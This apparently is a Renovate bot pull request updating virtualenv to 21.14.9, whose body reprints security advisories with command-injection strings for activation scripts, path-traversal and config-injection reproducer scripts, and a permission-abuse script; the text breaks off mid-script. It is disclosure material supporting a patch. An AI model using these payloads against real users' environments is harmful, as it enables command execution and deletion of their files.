Update dependency virtualenv to v21 [SECURITY] by renovate[bot] · Pull Request #256 · codersforcauses/elucidate

renovate · 2026-08-26T11:36:57Z

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
virtualenv (changelog)	`==20.15.1` → `==21.14.9`

virtualenv allows command injection through activation scripts for a virtual environment

CVE-2024-53899 / GHSA-rqc4-2hc7-8c8v

More information

Details

virtualenv before 20.26.6 allows command injection through the activation scripts for a virtual environment. Magic template strings are not quoted correctly when replacing. NOTE: this is not the same as CVE-2024-9287.

Severity

CVSS Score: 8.4 / 10 (High)
Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

virtualenv Has TOCTOU Vulnerabilities in Directory Creation

CVE-2026-22702 / GHSA-597g-3phw-6986

More information

Details

Impact

TOCTOU (Time-of-Check-Time-of-Use) vulnerabilities in virtualenv allow local attackers to perform symlink-based attacks on directory creation operations. An attacker with local access can exploit a race condition between directory existence checks and creation to redirect virtualenv's app_data and lock file operations to attacker-controlled locations.

Affected versions: All versions up to and including 20.36.1

Affected users: Any user running virtualenv on multi-user systems where untrusted local users have filesystem access to shared temporary directories or where VIRTUALENV_OVERRIDE_APP_DATA points to a user-writable location.

Attack scenarios:

Cache poisoning: Attacker corrupts wheels or Python metadata in the cache
Information disclosure: Attacker reads sensitive cached data or metadata
Lock bypass: Attacker controls lock file semantics to cause concurrent access violations
Denial of service: Lock starvation preventing virtualenv operations

Patches

The vulnerability has been patched by replacing check-then-act patterns with atomic os.makedirs(..., exist_ok=True) operations.

Fixed in: PR #3013

Versions with the fix: 20.36.2 and later

Users should upgrade to version 20.36.2 or later.

Workarounds

If you cannot upgrade immediately:

Ensure VIRTUALENV_OVERRIDE_APP_DATA points to a directory owned by the current user with restricted permissions (mode 0700)
Avoid running virtualenv in shared temporary directories where other users have write access
Use separate user accounts for different projects to isolate app_data directories

References

GitHub PR: https://github.com/pypa/virtualenv/pull/3013
Vulnerability reported by: @tsigouris007
CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization (TOCTOU)
CWE-59: Improper Link Resolution Before File Access

Severity

CVSS Score: 4.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

virtualenv activate.fish runs commands from a path or prompt with a backslash before a quote

CVE-2026-113732 / GHSA-c947-3pg5-gm8q

More information

Details

Impact

FishActivator defines no quote(), so it inherits ViaTemplateActivator.quote, which returns shlex.quote(string). That function follows POSIX sh rules, where a backslash inside single quotes stays a literal character. fish reads \' inside single quotes as an escaped quote and \\ as an escaped backslash. A value with a backslash before a quote therefore ends the literal somewhere other than where shlex.quote put the end, and fish expands the command substitution that follows.

The environment path reaches set -gx VIRTUAL_ENV, and --prompt or VIRTUALENV_PROMPT reaches set -gx VIRTUAL_ENV_PROMPT. For --prompt "x\'\$(touch PWNED)'\'", the generated activate.fish contains:

set -gx VIRTUAL_ENV_PROMPT 'x\'"'"'$(touch PWNED)'"'"'\'"'"''

source bin/activate.fish runs touch PWNED, and fish prints no error. The same payload as a directory name runs through VIRTUAL_ENV. --prompt . takes the current directory's name, so running virtualenv inside a directory someone else named is enough. Without the backslash the payload runs nothing, and under bash it runs nothing either.

virtualenv generates activate.fish by default. An attacker needs to influence the environment path or prompt: a CI job or wrapper tool that passes a branch, project or job name through, or a directory in a cloned repository or unpacked archive.

The bug affects every release up to 21.14.1 that ships activate.fish. The GHSA-p58f-9548-mpm2 fix in 21.7.13 moved the placeholders outside their quotes but kept shlex.quote.

Patches

Fixed in 21.14.2. activate.fish now escapes backslashes and single quotes the way fish reads them, so the example above runs nothing and shows the prompt as given. Fix: pypa/virtualenv@3bddeaf

Workarounds

Do not create an environment whose path or prompt contains a backslash, and inspect activate.fish before you source one you did not create.

Credits

Kevin Stubbings (@Kwstubbs) of GitHub Security Lab reported this issue.

Severity

CVSS Score: 7.8 / 10 (High)
Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

virtualenv activate runs commands from the environment name in zsh with PROMPT_SUBST

CVE-2026-113726 / GHSA-5vjq-rrrf-7h2q

More information

Details

Impact

zsh users activate an environment with the bash activate script, which puts the environment name into PS1. Since
21.13.0 the script escapes backslashes, dollar signs and backticks in that name, but only when BASH_VERSION is set, so
zsh gets the raw value. With the PROMPT_SUBST option set, zsh runs parameter expansion, command substitution and
arithmetic expansion on PS1 each time it draws the prompt. A name that contains $(...), backticks or ${...} then
runs as commands in the user's shell, once per prompt.

The name comes from the environment directory, or from --prompt or VIRTUALENV_PROMPT. After you create an
environment with:

$ virtualenv 'x$(touch PWNED)y'

source 'x$(touch PWNED)y/bin/activate' in a zsh session with PROMPT_SUBST set creates PWNED, and the prompt shows
(xy). Passing that value as --prompt to an environment with a plain name has the same effect. Without
PROMPT_SUBST, zsh shows the name as text and runs nothing. bash runs nothing either.

A plain zsh starts with PROMPT_SUBST off. oh-my-zsh users have it on: oh-my-zsh loads
lib/theme-and-appearance.zsh
at startup, and that file sets it. An attacker needs to influence the environment path or prompt: a CI job or wrapper
tool that passes a branch, project or job name through, or a directory in a cloned repository or unpacked archive.
--prompt . takes the current directory's name.

zsh also reads % in PS1 as a prompt escape, so a name with %n showed the user name in place of those characters,
though without running commands.

The bug is in releases up to and including 21.14.3. The payload runs on 20.26.6 and 21.14.3, and the reporter confirmed
21.9.1.

Patches

Fixed in 21.14.4. Under zsh, activate now escapes the name the way it does under bash and doubles
%, so the example above runs nothing and the prompt shows the name as given. zsh gets the escaping even when
PROMPT_SUBST is off, because a user can set the option after activation; a name with a backslash, dollar sign or
backtick then shows the added backslashes.
Fix: pypa/virtualenv@5b91536

Workarounds

Set VIRTUAL_ENV_DISABLE_PROMPT=1 before you source activate, which leaves PS1 alone, or run
unsetopt prompt_subst if your prompt does not need it. Check the name of an environment you did not create before you
source its activate.

Credits

Kaya Emre Arikan (@kemrec) reported this issue.

Severity

CVSS Score: 7.8 / 10 (High)
Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

virtualenv bash activate runs commands from an environment name with a backslash before $

CVE-2026-113725 / GHSA-vxj4-q4g9-crj7

More information

Details

Summary

The bash activate script escapes the environment name for only one of the two passes bash makes over PS1, so a
backslash in the name undoes the escaping and a name containing \$(...) runs as commands in the user's shell each
time bash draws the prompt.

Affected area

src/virtualenv/activation/bash/activate.sh, the block that prepends the environment name to PS1.

Attacker-controlled input

The environment name: the environment directory's name, or the --prompt or VIRTUALENV_PROMPT value. An attacker
needs to influence it, for example through a CI job or wrapper tool that passes a branch, project or job name through,
or a directory in a cloned repository or unpacked archive. --prompt . takes the current directory's name.

Details

bash handles PS1 in two passes each time it draws the prompt: it first decodes backslash prompt escapes, turning \\
into \ and \$ into $ (or # for root), and then runs parameter expansion, command substitution and arithmetic
expansion on the result. Since 21.13.0 the script escapes backslashes, dollar signs and backticks in the name, but only
for the second pass, so the decode pass strips the escaping that a backslash in the name precedes. Releases before
21.13.0 do not escape the name at all. A bash running as root decodes \$ to #, so the payload shows the wrong text
there but runs nothing. zsh does no decode pass and is not affected.

Proof of concept

$ virtualenv --prompt 'a\$(touch PWNED)' env
$ bash --norc --noprofile -c 'source env/bin/activate; printf "%s" "${PS1@P}"'
$ ls PWNED
PWNED

Impact

Arbitrary command execution in the shell of a user who sources the activate script of an environment whose name an
attacker influenced, with that user's privileges, once per prompt draw.

Versions tested

21.14.6 with bash 5.2.15 on Debian bookworm, as an unprivileged user and as root.

Known mitigation

Set VIRTUAL_ENV_DISABLE_PROMPT=1 before you source activate, which leaves PS1 alone, or run shopt -u promptvars
if your prompt does not need expansion. Check the name of an environment you did not create before you source its
activate.

Latest release

The problem reproduces on the latest virtualenv release.

21.14.6

Patches

Fixed in 21.14.7. Under bash, activate now escapes backslashes, dollar signs and backticks for both passes, so the
example above runs nothing and the prompt shows the name as given. zsh keeps the single escaping it needs.
Fix: pypa/virtualenv@c3104e0

Credits

Found while running the virtualenv test suite as root inside the Anthropic OSS Scanner build image.

Severity

CVSS Score: 7.8 / 10 (High)
Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

virtualenv: Seed replacement does not contain metadata deletion paths

CVE-2026-113719 / GHSA-hhxq-47xx-j5xx

More information

Details

Summary

The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths
without checking containment within the environment.

Anthropic's OSS Scanner reported this as ANT-2026-SXOEHWP7 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Removal of a previously installed seed package.

Attacker-controlled input

An environment being reused must contain distribution metadata influenced by another account. The invoking user must
have deletion rights over the paths named by that metadata. Installing a new environment without existing package
metadata does not enter this cleanup path.

Affected code

The relevant 21.14.8 source is in
seed uninstall.

Mechanism

Before reinstalling a seed wheel, PipInstall._uninstall_previous_version() accepts an existing pip-*.dist-info
directory in the destination. _uninstall_dist() reads its top_level.txt and RECORD, joins each entry to
site-packages, and deletes the result. It does not check whether .., an absolute entry, or a linked parent takes the
path outside the environment. The default app-data seeder reaches this path when it reuses a tree containing
seed-package metadata; --clear removes that tree first.

Reproduction and evidence

The scanner prepared a project with .venv/lib/python3.14/site-packages/pip-1.0.dist-info/. Its top_level.txt
contained ../../../../../Documents; its RECORD named ../../../../../notes.txt,,. The user's home initially held
Documents/thesis/chapter1.txt and notes.txt. Running virtualenv .venv exited successfully but removed both paths.
A control tree with top_level.txt set to pip and a normal pip/__init__.py RECORD entry left the home files in
place. The reproducer prints BUG only when the control files survive and both attack targets disappear.

The deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It
requires an existing destination that another account could populate; a fresh empty environment does not supply hostile
metadata. The report traces this cleanup to #2186, first released in 20.8.1.
PR #3428 checks each deletion path against the resolved environment root
and refuses to delete the root itself.

Attack sequence

sequenceDiagram
    participant A as Prepared .venv metadata
    participant V as App-data seeder
    participant P as site-packages
    participant H as User home
    A->>P: top_level.txt names ../../../../../Documents
    A->>P: RECORD names ../../../../../notes.txt
    V->>P: read pip-1.0.dist-info before reinstall
    P->>H: join entries without containment check
    V->>H: remove Documents and notes.txt
    V-->>A: virtualenv exits successfully

Reproducer files

The following files are from the scanner report for ANT-2026-SXOEHWP7. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

repro


#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path

work = Path("/tmp/repro-seed-uninstall")
shutil.rmtree(work, ignore_errors=True)
USER_FILES = ("Documents/thesis/chapter1.txt", "notes.txt")

def make_home(name):
    home = work / name
    (home / "Documents" / "thesis").mkdir(parents=True)
    (home / "Documents" / "thesis" / "chapter1.txt").write_text("months of work\n")
    (home / "notes.txt").write_text("my notes\n")
    return home

def unpack_attacker_project(home, top_level_line, record_line):
    subprocess.run(
        [sys.executable, "/tmp/repro.d/make_project_tree.py", home / "project", top_level_line, record_line],
        check=True,
    )

def user_runs_virtualenv(home):
    # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline
    result = subprocess.run(
        ["virtualenv", "--no-periodic-update", ".venv"],
        cwd=home / "project",
        env={**os.environ, "HOME": str(home)},
        stdout=subprocess.PIPE,
        text=True,
        check=True,
    )
    print(result.stdout, end="")

def files_left(home):
    return [f for f in USER_FILES if (home / f).exists()]

##### control: the project ships well-formed pip metadata
control_home = make_home("control")
unpack_attacker_project(control_home, "pip", "pip/__init__.py,,")
user_runs_virtualenv(control_home)
control_left = files_left(control_home)
print(f"CONTROL  user files still in ~ after virtualenv: {control_left}")

##### attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five ".." is ~
attack_home = make_home("attack")
unpack_attacker_project(attack_home, "../../../../../Documents", "../../../../../notes.txt,,")
print(f"BEFORE   user files in ~ before virtualenv: {files_left(attack_home)}")
user_runs_virtualenv(attack_home)
attack_left = files_left(attack_home)
print(f"OBSERVED user files still in ~ after virtualenv: {attack_left}")

##### check: creating an environment must never delete the user's files outside it
print("BUG" if control_left == list(USER_FILES) and attack_left == [] else "OK")

repro.d/make_project_tree.py


#!/usr/bin/env python3
import sys
from pathlib import Path

project = Path(sys.argv[1])
top_level_line = sys.argv[2]
record_line = sys.argv[3]

project.mkdir(parents=True)
(project / "README").write_text("Set up with: virtualenv .venv\n")

##### a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown
for minor in range(9, 16):
    dist_info = project / ".venv" / "lib" / f"python3.{minor}" / "site-packages" / "pip-1.0.dist-info"
    dist_info.mkdir(parents=True)
    (dist_info / "top_level.txt").write_text(top_level_line + "\n")
    (dist_info / "RECORD").write_text(record_line + "\n")

Impact

Seed cleanup can delete files outside the environment or the environment root itself. The invoking user must have
deletion rights over those paths.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected
version or exclude earlier releases. Fixed in 21.14.9.

The fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final
links are removed without following their targets; parent links participate in containment checks.

Fix: PR #3428.

Known mitigation

Recreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.

Affected release

The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-SXOEHWP7.

Severity

CVSS Score: 4.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

virtualenv: Venv configuration readback can reinterpret path boundaries

CVE-2026-113715 / GHSA-qmx5-4p3x-wvqf

More information

Details

Summary

The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over
virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure
before output sanitization.

Anthropic's OSS Scanner reported this as ANT-2026-6ZQHJ6VI in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Configuration readback by the stdlib venv creator.

Attacker-controlled input

An untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a
character that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.

Affected code

The relevant 21.14.8 source is in
venv readback,
configuration parser.

Mechanism

With --creator venv, virtualenv asks the standard library to create an environment, reads its pyvenv.cfg with
str.splitlines(), and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a
command = value without escaping every character that splitlines() recognizes as a line boundary. A destination
containing U+2028, for example, can therefore supply new home and include-system-site-packages keys during readback.
Virtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.

Reproduction and evidence

The scanner used one destination value with U+2028 between home = /attacker/chosen,
include-system-site-packages = true, and an absorbing x = key. A python -m venv --without-pip control kept the
value inside its command line and reported the base interpreter's sys._home. virtualenv --creator venv --no-seed
on the same value wrote separate injected configuration lines and its interpreter reported
sys._home = /attacker/chosen. The path did not require a literal newline byte. The control establishes that the extra
keys came from virtualenv's readback, not from the standard library's initial file alone.

The altered home can change which standard-library files the interpreter loads if an attacker also controls that
location; include-system-site-packages = true weakens environment isolation. Choosing the venv creator is required,
either explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in
20.0.0b1. PR #3426 rejects line-boundary characters before creation and
rebuilds the final configuration from selected settings.

Attack sequence

sequenceDiagram
    participant A as Destination supplier
    participant S as stdlib venv
    participant V as virtualenv readback
    participant C as Final pyvenv.cfg
    participant P as Environment Python
    A->>S: path contains U+2028 and home = /attacker/chosen
    S->>C: write path inside command value
    V->>C: read with splitlines()
    V->>V: parse suffix as separate keys
    V->>C: rewrite home and include-system-site-packages
    P->>C: read injected keys on startup
    C-->>P: sys._home changes and isolation is disabled

Reproducer files

The following files are from the scanner report for ANT-2026-6ZQHJ6VI. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

repro


#!/usr/bin/env python3
import os
import shutil
import subprocess

work = "/tmp/repro-venv-creator-cfg"
shutil.rmtree(work, ignore_errors=True)

##### the attacker's input: the text of a destination path.

##### U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader.
##### The slashes only make nested directories; the last key, x, absorbs the rest of the path.
LS = "\u2028"
dest = f"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env"

base_python = os.path.realpath(shutil.which("python"))
real_home = os.path.dirname(base_python)

def pyvenv_cfg_lines(env):
    # split on "\n" only, as the interpreter does
    return open(f"{env}/pyvenv.cfg", encoding="utf-8").read().split("\n")

def sys_home(env):
    # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg
    probe = [f"{env}/bin/python", "-c", "import sys; print(sys._home)"]
    return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()

##### control: the same path through the standard library alone
stdlib_env = dest + "-stdlib"
subprocess.run([base_python, "-m", "venv", "--without-pip", stdlib_env], check=True)

##### attack: the same path through virtualenv; --creator venv is the one non-default option
virtualenv_env = dest + "-virtualenv"
created = subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--no-seed", "--creator", "venv", virtualenv_env])
if created.returncode != 0:  # refusing such a destination is a valid fix
    print("virtualenv refused the destination")
    print("OK")
    raise SystemExit

##### check
stdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)
virtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)

print("CONTROL  python -m venv wrote pyvenv.cfg:")
for line in stdlib_cfg:
    print("    " + ascii(line))
print(f"CONTROL  python -m venv: sys._home = {stdlib_home}")
print("OBSERVED virtualenv --creator venv wrote pyvenv.cfg:")
for line in virtualenv_cfg:
    print("    " + ascii(line))
print(f"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}")

keys_injected = "home = /attacker/chosen" in virtualenv_cfg and "include-system-site-packages = true" in virtualenv_cfg
print("BUG" if stdlib_home == real_home and keys_injected and virtualenv_home == "/attacker/chosen" else "OK")

Impact

Destination path data can change configuration boundaries and therefore environment settings. The effect depends on
which settings change and how the environment is subsequently used.

Severity: low.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected
version or exclude earlier releases. Fixed in 21.14.9.

The fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved
path again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv
options, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain
supported.

Fix: PR #3426.

Known mitigation

Reject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.

Affected release

The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-6ZQHJ6VI.

Severity

CVSS Score: 2.0 / 10 (Low)
Vector String: CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

virtualenv: Bash prompt values can change meaning under older compatibility modes

CVE-2026-113723 / GHSA-6w3r-xr62-4xcp

More information

Details

Summary

Caller-supplied prompt text can become executable syntax in the bash activation prompt. An attacker must influence the
value passed to virtualenv, and a user must subsequently activate the environment and draw the prompt.

Affected area

Bash runs with compatibility level 4.2 and draws the environment prompt. Its replacement-string behavior differs from
newer compatibility modes, leaving prompt text subject to a second interpretation. The report concerns POSIX activation.
It does not establish exposure through unrelated activators.

Attacker-controlled input

The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated
activation script.

Affected code

The relevant 21.14.8 source is in
bash prompt assembly.

Mechanism

bin/activate copies the prompt into PS1. A shell expands PS1 again when it draws a prompt, so the value must
survive both the assignment and that later expansion. The bash and zsh branches escape for their usual prompt rules.
Three other paths still interpret prompt data as commands: dash sourcing activate directly, a child dash inheriting an
exported PS1 from bash, and bash running at compatibility level 4.2 or lower. A value such as x$(touch MARKER)y then
runs touch on prompt display. Creating the environment does not run the payload.

Reproduction and evidence

The scanner's child-shell reproducer creates an environment with --prompt 'x$(touch MARKER)y', sources bin/activate
in interactive bash, and starts interactive sh (dash). Its control leaves PS1 unexported: neither shell creates
MARKER. With PS1 exported, bash displays the prompt without executing the value, but the child dash creates
MARKER; the reproducer ends in BUG. The report gives separate console reproductions for direct dash activation and
bash compatibility level 4.2. The child-shell path can arise after another environment's activation has exported PS1.

The scanner linked this finding to #3326 and its follow-up #3390. Those
changes cover the usual bash path but leave the three paths above. The proposed change in
#3418 keeps a variable reference in PS1, so prompt text is expanded as
data when drawn. The private report's reproducer was run by the scanner; the later command-execution result was supplied
by the maintainer review. This advisory does not claim that every POSIX shell or every bash mode is affected.

Introduced

The report traces direct dash sourcing to the first 20.x activator (20.0.0b1), and inherited PS1 to #3390 (first
released in 21.14.7). It demonstrates the compatibility-level case on bash 5.2. Those historical boundaries come from
the report; the release confirmed by the maintainer is 21.14.8.

Attack sequence

sequenceDiagram
    participant A as Prompt supplier
    participant V as virtualenv
    participant B as Interactive bash
    participant D as Child dash
    A->>V: --prompt x$(touch MARKER)y
    V->>B: generated bin/activate
    B->>B: assign escaped prompt to PS1
    alt PS1 is not exported
        B->>D: start sh with its own PS1
        D-->>B: marker absent
    else PS1 is exported
        B->>D: start sh with inherited PS1
        D->>D: expand $(touch MARKER) on prompt draw
        D-->>B: marker created
    end

Reproducer files

The following files are from the scanner report for ANT-2026-1MOI2X3T. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

repro


#!/usr/bin/env python3
import shutil
import subprocess
from pathlib import Path

work = Path("/tmp/repro-inherited-ps1")
shutil.rmtree(work, ignore_errors=True)
work.mkdir()
marker = work / "MARKER"
print("sh is", Path("/bin/sh").resolve())

##### attacker: only the text a tool such as tox or hatch relays as --prompt
hostile_prompt = f"x$(touch {marker})y"

##### set up: the environment, made with the virtualenv command
subprocess.run(
    ["virtualenv", "--no-periodic-update", "--without-pip", "--activators", "bash",
     "--prompt", hostile_prompt, str(work / "env")],
    check=True, stdout=subprocess.DEVNULL,
)
assert not marker.exists(), "creating the environment must not run the prompt"

##### user: in an interactive bash, source bin/activate, then start sh.

##### -i makes both shells draw their prompt although stdin is not a terminal; sh draws one, reads EOF and returns
session = Path("/tmp/repro.d/user_session.sh").read_text()
interactive_bash = ["bash", "--norc", "--noprofile", "-i"]

##### control: PS1 set in bash but not exported, so sh does not inherit it
control = subprocess.run(interactive_bash, input="PS1='\\$ '\n" + session,
                         stderr=subprocess.PIPE, text=True, check=True)
print(control.stderr)
ran_in_control = marker.exists()
print("CONTROL  PS1 not exported: marker created:", ran_in_control)

##### attack: the same session with the one difference that PS1 is exported
attack = subprocess.run(interactive_bash, input="export PS1='\\$ '\n" + session,
                        stderr=subprocess.PIPE, text=True, check=True)
print(attack.stderr)
ran_in_attack = marker.exists()
print("OBSERVED PS1 exported:     marker created:", ran_in_attack)

##### check: the prompt text must be drawn, never run, by every shell that draws it
print("BUG" if ran_in_attack and not ran_in_control else "OK")

repro.d/user_session.sh

. /tmp/repro-inherited-ps1/env/bin/activate
sh -i </dev/null

Impact

An affected activation can execute commands with the user's privileges. Severity is high, following the generated-script
precedent in GHSA-p58f-9548-mpm2. The
attack requires control of argument data and subsequent user activation; it does not require replacing an executable or
controlling app-data contents.

Versions tested

The supplied follow-up review marks command execution as independently confirmed by its author. The implementation
review used source inspection and patched literal-value checks, without rerunning that exploit. The relevant activation
source is identical between release 21.14.8 and upstream/main 233359cb. The maintainer previously confirmed validation
of the reported findings on 21.14.8. The first affected version has not been established. Fixed in 21.14.9.

Known mitigation

Use trusted prompt and destination values. On older releases, disable the environment prompt with
VIRTUAL_ENV_DISABLE_PROMPT=1. Recreate environments with virtualenv 21.14.9 or later.

Affected release

The problem reproduces on virtualenv 21.14.8.

Credits

The original report was supplied by Anthropic's OSS Scanner as ANT-2026-1MOI2X3T. The subsequent maintainer-provided
review identified the remaining activation path.

Severity

CVSS Score: 7.1 / 10 (High)
Vector String: CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

virtualenv: Seeded files retain permissions from an older cache

CVE-2026-113720 / GHSA-fc2g-4w5p-6whm

More information

Details

Summary

The app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache
populated under permissive permissions can therefore produce files with wider access in later environments.

Anthropic's OSS Scanner reported this as ANT-2026-487MH6OW in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Permissions of files copied from app-data into a new environment.

Attacker-controlled input

The cache must contain files created with broader permissions than the current environment creator intends. Another
account must also be able to traverse the new environment and reach those files. A private parent directory prevents
that access. No control of a private live cache is assumed.

Affected code

The relevant 21.14.8 source is in
copy helpers.

Mechanism

The default app-data seeder extracts a wheel into a reusable cache and copies its files into later environments with
shutil.copy(). That function applies the cached source mode to each destination file after creating it, overriding the
current run's umask. If the cache image was built under umask 000, a later environment created under umask 022 can
receive mode-0666 pip files. The cache may be private while the new environment is reachable by other local accounts.

Reproduction and evidence

The scanner created two histories with separate private app-data caches. In the control, the owner's first run used
umask 022; a later environment had no files writable by another account, and that account could not append to
pip/__init__.py. In the attack history, the first run used umask 000 and the later run still used 022. The report
counted 478 of 493 environment files writable by others. A second unprivileged uid appended a line to pip, and
bin/pip --version ran it as the environment owner. The cache itself remained under a mode-0700 home in both
histories.

An attacker cannot force the owner's earlier umask through this finding; the attack also needs a traversable
destination. A mode-002 cache can expose group write access under suitable group permissions. The scanner dates
app-data copy seeding to #1578, first released in 20.0.2. PR #3425
creates copied files under a fixed non-writable-by-others policy further restricted by the current umask.

Attack sequence

sequenceDiagram
    participant U as Environment owner
    participant C as Private app-data cache
    participant E as Later environment
    participant A as Other local account
    U->>C: first seed extraction under umask 000
    C-->>U: cached pip files have mode 0666
    U->>E: create environment under umask 022
    C->>E: shutil.copy reapplies mode 0666
    A->>E: append code to pip/__init__.py
    U->>E: run bin/pip --version
    E-->>U: appended code runs as owner

Reproducer files

The following files are from the scanner report for ANT-2026-487MH6OW. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

repro


#!/usr/bin/env python3
import glob
import os
import shutil
import stat
import subprocess
import sys
from pathlib import Path

sys.stdout.reconfigure(line_buffering=True)  # keep these lines in order with those of the child processes
os.umask(0o022)  # for the directories made here as root
OWNER, OTHER_USER = 1000, 65534  # root is only needed to switch to these two unprivileged uids
VIRTUALENV = ["virtualenv", "--quiet", "--no-periodic-update"]  # default seeder; no network for the update check

##### read here, as root: /tmp/repro.d need not be readable by the other user
ATTACK = Path("/tmp/repro.d/other_user_appends_to_pip.py").read_text()

def run_as_owner(command, home, umask):
    environ = {"HOME": str(home), "PATH": os.environ["PATH"]}
    subprocess.run(command, user=OWNER, group=OWNER, extra_groups=[], umask=umask, env=environ, cwd=home, check=True)

def mode(path):
    return stat.filemode(os.stat(path).st_mode)

work = Path("/tmp/seed-mode-repro")
shutil.rmtree(work, ignore_errors=True)
work.mkdir()
proofs = work / "proofs"
proofs.mkdir()
proofs.chmod(0o777)  # the other user's line writes the uid it runs as in here

writable_by_others, appended_line_ran_as = {}, {}

##### the two histories differ only in the umask of the owner's earlier run, the one that fills ~/.cache/virtualenv
for case, umask_of_earlier_run in [("CONTROL", 0o022), ("OBSERVED", 0o000)]:
    # set up: the owner's home, and with it the cache, is private; the project folder is reachable by path
    home = work / f"{case}-home"
    home.mkdir(mode=0o700)
    os.chown(home, OWNER, OWNER)
    projects = work / f"{case}-projects"
    projects.mkdir(mode=0o755)
    os.chown(projects, OWNER, OWNER)

    # owner, some time ago: the first run, with an empty cache, extracts the pip wheel into it
    run_as_owner([*VIRTUALENV, str(home / "earlier-env")], home, umask=umask_of_earlier_run)
    # owner, today
    env = projects / "env"
    run_as_owner([*VIRTUALENV, str(env)], home, umask=0o022)

    (cached_pip,) = glob.glob(f"{home}/.cache/virtualenv/wheel/*/image/1/CopyPipInstall/pip-*/pip/__init__.py")
    (seeded_pip,) = glob.glob(f"{env}/lib/python*/site-packages/pip/__init__.py")
    env_files = [path for path in env.rglob("*") if path.is_file() and not path.is_symlink()]
    writable_by_others[case] = sum(1 for path in env_files if path.stat().st_mode & stat.S_IWOTH)
    print(f"{case} earlier run under umask {umask_of_earlier_run:03o}, env created under umask 022")
    print(f"{case}   cache pip/__init__.py  {mode(cached_pip)}")
    print(f"{case}   env   pyvenv.cfg       {mode(env / 'pyvenv.cfg')}")
    print(f"{case}   env   bin/activate     {mode(env / 'bin' / 'activate')}")
    print(f"{case}   env   pip/__init__.py  {mode(seeded_pip)}")
    print(f"{case}   env files writable by others: {writable_by_others[case]} of {len(env_files)}")

    # attack: another local user appends a line to the owner's seeded pip
    proof = proofs / case
    subprocess.run(
        ["python3", "-", str(env), str(proof)],
        input=ATTACK,
        text=True,
        user=OTHER_USER,
